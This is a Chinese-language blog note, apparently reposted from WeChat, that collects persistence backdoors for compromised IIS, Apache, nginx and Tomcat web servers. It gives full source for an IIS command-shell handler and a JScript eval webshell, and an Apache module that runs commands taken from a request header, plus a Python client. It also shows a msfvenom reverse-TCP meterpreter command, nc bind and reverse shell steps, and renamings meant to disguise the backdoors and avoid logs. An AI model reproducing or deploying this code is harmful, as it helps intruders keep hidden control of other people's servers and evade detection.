常见的web容器后门笔记
2020-04-06 15:16:47 Author: mp.weixin.qq.com(查看原文) 阅读量:45 收藏

缅怀在抗击新冠肺炎疫情斗争中牺牲的烈士和同胞。

这里分别记录了几种IIS,Apache,nginx,tomcat等容器的一些已公开的留门方式。

IIS_Bin_Backdoor

From:https://github.com/WBGlIl/IIS_backdoor

IIS_backdoor_dll.dl放入 web 目录的 bin 文件夹中配置web.config 文件

<?xmlversion="1.0" encoding="UTF-8"?>

<configuration>

    <system.webServer>

        <modules>

      <add name="IIS_backdoor"type="IIS_backdoor_dll.IISModule" />

        </modules>

    </system.webServer>

</configuration>

IIS_backdoor_shell.exe执行命令

使用IISBackdoor太明显,容易被看出是后门,这里对后门改名

重新生成解决方案,dll放入bin目录,web.config修改为

<?xml version="1.0" encoding="UTF-8"?>

<configuration>

    <system.webServer>

        <modules>

              <add name="UrlRoutingModule"type="UrlRoutingModule.IISModule" />

        </modules>

    </system.webServer>

</configuration>

添加完之后会自动在模块中注册好

执行payloadmsf生成raw格式payload,选择shellcode选项,raw文件拖入即可

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f raw -o/var/www/html/1.raw

IIS_NETDLL_Spy

From:https://github.com/Ivan1ee/NetDLLSpy

原作者提及三种方式,第一种编译代码为DLL新建aspx文件实例化后门类来执行命令,第二种是做httphandler映射可指定一个后缀执行命令保存文件在web服务器上,再读取结果。第三种是使用jsc.exe编译js脚本生成dll,添加映射菜刀连接。

这里根据原作者的代码,进行了一下简单的修改,修改后的功能为添加httphandler映射指定一个后缀执行命令显示在页面上,不用保存在服务器中再访问。

代码

using System;

using System.Diagnostics;

using System.IO;

using System.Text;

using System.Web;

namespace IsapiModules

{

      public class Handler :IHttpHandler

      {

           public boolIsReusable

           {

                 get

                 {

                      returnfalse;

                 }

           }

           public voidProcessRequest(HttpContext context)

           {

                 string input =context.Request.Form["InternetInformationService"];  //command

                 if(context.Request.Form["microsoft"] == "iis")//do command

                 {

                      this.cmdShell(input);

                 }

           }

           public voidcmdShell(string input)

           {

                 Processprocess = new Process();

                 process.StartInfo.FileName= "cmd.exe";

                 process.StartInfo.RedirectStandardOutput= true;

                 process.StartInfo.UseShellExecute= false;

                 process.StartInfo.Arguments= "/c " + input;

                 process.StartInfo.WindowStyle= ProcessWindowStyle.Hidden;

                 process.Start();

                 StreamReaderoutput = process.StandardOutput;

                 String result= output.ReadToEnd();

                 output.Close();

                 output.Dispose();

                 HttpContext.Current.Response.Write(result);

           }

      }

}

保存为随意后缀,使用csc编译。

C:\Windows\Microsoft.NET\Framework\v2.50727\csc.exe /t:library /r:System.Web.dll -out:C:\inetpub\wwwroot\Bin\SystemIO.dll C:\inetpub\wwwroot\bin\code.cs

Web.config文件添加

<system.webServer>

     <handlers>

           <addname="PageHandlerFactory-ISAPI-2.0-32" path="*.xxx"verb="*" type="IsapiModules.Handler"resourceType="Unspecified" requireAccess="Script"preCondition="integratedMode" />

      </handlers>

</system.webServer>

打开IIS管理器,可以看到处理映射管理器中已经添加了模块

现在随意访问个xxx后缀的文件

带参数访问

microsoft=iis&InternetInformationService=netuser

第三种连接菜刀,这里也对代码修改了一下。

import System;

import System.Web;

import System.IO;

package IsapiModule

{

      public class Handlerimplements IHttpHandler

      {

           function IHttpHandler.ProcessRequest(context: HttpContext)

           {

                 context.Response.Write("404Not Found")

                 var I =context;

                 var Request =I.Request;

                 var Response =I.Response;

                 var Server =I.Server;

                 eval(context.Request["Internet"]); //pass

           }

           function getIHttpHandler.IsReusable() : Boolean{ return true}

      }

}

使用jsc编译

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe/t:library -out:C:\inetpub\wwwroot\Bin\IsapiModule.Handler.dllC:\inetpub\wwwroot\bin\code.js

编辑web.config,添加映射,这里指定的后缀是.iis

<system.webServer>

<modules runAllManagedModulesForAllRequests="true"/><directoryBrowse enabled="true"/>

 <staticContent>

 <mimeMapfileExtension=".json" mimeType="application/json" />

 </staticContent>

 <handlers>

 <addname="PageHandlerFactory-ISAPI-2.0-32-1" path="*.iis" verb="*"type="IsapiModule.Handler"preCondition="integratedMode"/>

 </handlers>

</system.webServer>

已自动加入了映射。现在随便访问个iis后缀的文件。

可使用菜刀连接

IIS_RAID

From:https://github.com/0x09AL/IIS-Raid

vs2019下编译

Functions.h中修改连接密码,passfiledump下来的密码保存的位置,com_header是后门和服务器通信的请求头。

打开项目修改完你的密码,直接ctrl+B生成解决方案即可(这里生成的是release版本)

Dll传到服务器,改个名字,执行添加模块

>C:\Windows\system32\inetsrv\APPCMD.EXEinstall module /name:IsapiDotNet /image:"c:\windows\system32\inetsrv\IsapiDotNet.dll" /add:true

在模块中可以看到已经存在了

远程连接

>python3iis_controller.py --url http://192.168.0.98 --password thisismykey

执行命令的方式是

>cmd +命令

Dump命令可以dump下来IIS站点的登录的信息,保存在设置的位置。

Inject可以执行shellcode

Cs/msf生成raw格式的shellcode

>inject 位置

JAVA Web Backdoor

From:https://www.freebuf.com/articles/web/172753.html

https://github.com/rebeyond/memShell

当获取一个webshellbashshell权限时,下载后门执行注入进程形成无文件复活后门

下载后解压到任意web目录

得到2jar文件

执行,password设置为你的密码

>java -jar inject.jar password

注入成功,在web任意页面任意url执行命令

http://192.168.0.121:8080/css/app.css?pass_the_world=password

可执行命令,反弹shell,上传/下载文件,列目录,读文件,添加代理,连接菜刀

Tomcat JSP HideShell

From:https://mp.weixin.qq.com/s/7b3Fyu_K6ZRgKlp6RkdYoA

https://github.com/QAX-A-Team/HideShell

把自己的shellhideshell传入靶机,先访问自己的shell目的是为了让 Tomcat 将它编译,并生成 JspServletWrapper 保存在JspRuntimeContext 中。

再访问hideshell.jsp,点击hide你的shell

已经隐藏了

再访问hideshell.jsp,可以看到隐藏后的shell的文件名。

访问看看

当然,也可以把hideshell自身隐藏了,那访问它的方式就是hidden-hideshell.jsp

目录里啥都没了

此方式隐藏之后请求不会产生日志

那如果把shelltest文件夹删掉权限还会在吗?

Apache Module后门1

From:https://github.com/WangYihang/Apache-HTTP-Server-Module-Backdoor

生成模板结构

>apxs -g -n auth

编辑mod_auth.c文件

#include "httpd.h"

#include "http_config.h"

#include "http_protocol.h"

#include "ap_config.h"

#include <stdio.h>

#include <stdlib.h>

static int auth_handler(request_rec *r)

{

    constapr_array_header_t    *fields;

    int                            i;

   apr_table_entry_t           *e =0;

    char FLAG = 0;

    fields =apr_table_elts(r->headers_in);

    e =(apr_table_entry_t *) fields->elts;

    for(i = 0; i< fields->nelts; i++) {

       if(strcmp(e[i].key, "Authorizations")== 0){

            FLAG =1;

            break;

        }

    }

    if (FLAG){

        char *command = e[i].val;

        FILE* fp =popen(command,"r");

        charbuffer[0x100] = {0};

        int counter= 1;

       while(counter){

            counter= fread(buffer, 1, sizeof(buffer), fp);

           ap_rwrite(buffer, counter, r);

        }

        pclose(fp);

        returnDONE;

    }

    returnDECLINED;

}

static void auth_register_hooks(apr_pool_t *p)

{

   ap_hook_handler(auth_handler, NULL, NULL, APR_HOOK_MIDDLE);

}

module AP_MODULE_DECLARE_DATA auth_module = {

   STANDARD20_MODULE_STUFF,

    NULL,                  /* create per-dir    config structures */

    NULL,                  /* merge  per-dir    config structures */

    NULL,                  /* create per-server configstructures */

    NULL,                  /* merge  per-server config structures */

    NULL,                  /* table of config filecommands       */

   auth_register_hooks  /* registerhooks                      */

};

编译后重启apache

>apxs -i -a -c mod_auth.c && service apache2 restart

原文件接受的头是backdoor太明显,这里换成了Authorizations

或使用python来执行

#!/usr/bin/envpython

# -*-coding: utf-8 -*-

importrequests

importsys

def exploit(host,port, command):

    headers = {

        "Authorizations": command

    }

    url = "http://%s:%d/" % (host,port)

    response = requests.get(url,headers=headers)

    content = response.content

    print content

defmain():

    if len(sys.argv) != 3:

        print "Usage : "

        print "\tpython %s [HOST][PORT]" % (sys.argv[0])

        exit(1)

    host = sys.argv[1]

    port = int(sys.argv[2])

    while True:

        command = raw_input("$ ")

        if command == "exit":

            break

        exploit(host, port, command)

if__name__ == "__main__":

    main()

Apache Module后门2

From:https://github.com/VladRico/apache2_BackdoorMod

.load文件传入/etc/apache2/mods-available/目录,.so文件传入/usr/lib/apache2/modules/目录

启动后门模块,重启apache

>a2enmod backdoor&serviceapache2 restart

Cookie里添加字段password=backdoor

访问http://ip/ping返回如下图说明后门正常允许

访问http://ip/bind/12345 开启正向连接,攻击机执行nc ip 12345即可

访问http://ip/revtty/192.168.0.107/12138 开启反向连接,攻击机109执行nc监听12138即可

访问http://ip/proxy/1337开启socks代理

想要结束socks代理可执行

>echo"imdonewithyou" |nc 192.168.0.111 1337

即可结束socks代理

以上原作者的文件命名backdoor太明显,可以自己修改文件重新编译

创建模板结构命名为phpmodev

修改cookie内容为迷惑字段Authorizations=PHPSESSIONID

Apache Module后门3

From:https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247491179&idx=1&sn=ab26fe36ac74f5b140e91279ae8018c7

生成模板结构

>apxs -g -n phpdevmod

编辑mod_phpdevmod.c文件

编译

>make -e CC=x86_64-linux-gnu-g++

生成的.so文件在/.libs目录下

将其复制到/usr/lib/apache2/modules/目录

修改/etc/apache2/mods-enabled/php7.0.load文件,添加如下

LoadModule phpdevmod_module/usr/lib/apache2/modules/mod_phpdevmod.so

<Location /qq.jpg>    #可以设置为任何不存在的文件

   setHandler phpdevmod

</Location>

需重启apache服务

访问后门方式http://ip/qq.jpg?命令的url编码

直接访问后门文件

636174202F6574632F706173737764cat /etc/passwdurl编码

Nginx Lua后门

From:https://github.com/netxfly/nginx_lua_security

https://github.com/Y4er/Y4er.com/blob/251d88d8a3cf21e9bafe15c43d7900ffeacfa7ea/content/post/nginx-lua-backdoor.md

后门利用的前提是获取到root权限,nginx安装有lua模块。

nginx.confhttp节处添加,指定lua脚本位置,以及nginx启动时加载的脚本

lua目录/waf/中新建Init.lua,内容如下,require nginx表示加载nginx.lua中的模块。

/waf/目录中新建nginx.lua实现执行命令,参数为waf

nginx配置文件中加入location

效果:

PwnNginx

From:https://github.com/t57root/pwnginx

解压好后编译客户端

>make

编辑nginx的源文件/src/core/nginx.c找到configurearguments:在后面添加--prefix=/usr/local/nginx\n指定的是nginx安装的目录

重新编译nginx添加后门模块

>./configure--prefix=/usr/local/nginx/ --add-module=/tmp/pwnginx-master/module

>make

覆盖新的nginx到原nginx目录

>cp -fobjs/nginx /usr/local/nginx/sbin/nginx

重启nginx

>killallnginx&/usr/local/nginx/sbin/nginx

连接

>./pwnginxshell 目标机 nginx端口密码

默认密码是t57root,密码的配置文件在pwnginx-master\module\config.h文件夹中,可在重新编译nginx前修改密码

此后门也可开启socks隧道


文章来源: http://mp.weixin.qq.com/s?__biz=MzA4MDMwMjQ3Mg==&mid=2651865778&idx=1&sn=c6b5fc0085eb4a7cb0470f4b98ae76ca&chksm=8442ba55b3353343712f754efaa7772c728ab73a47e3d4b02168b7eacbcc7ffe6d43dca359dc&mpshare=1&scene=24&srcid=&sharer_sharetime=1586157407055&sharer_shareid=5191b3dcb328f693d5261ba6bca8d267#rd
如有侵权请联系:admin#unsafe.sh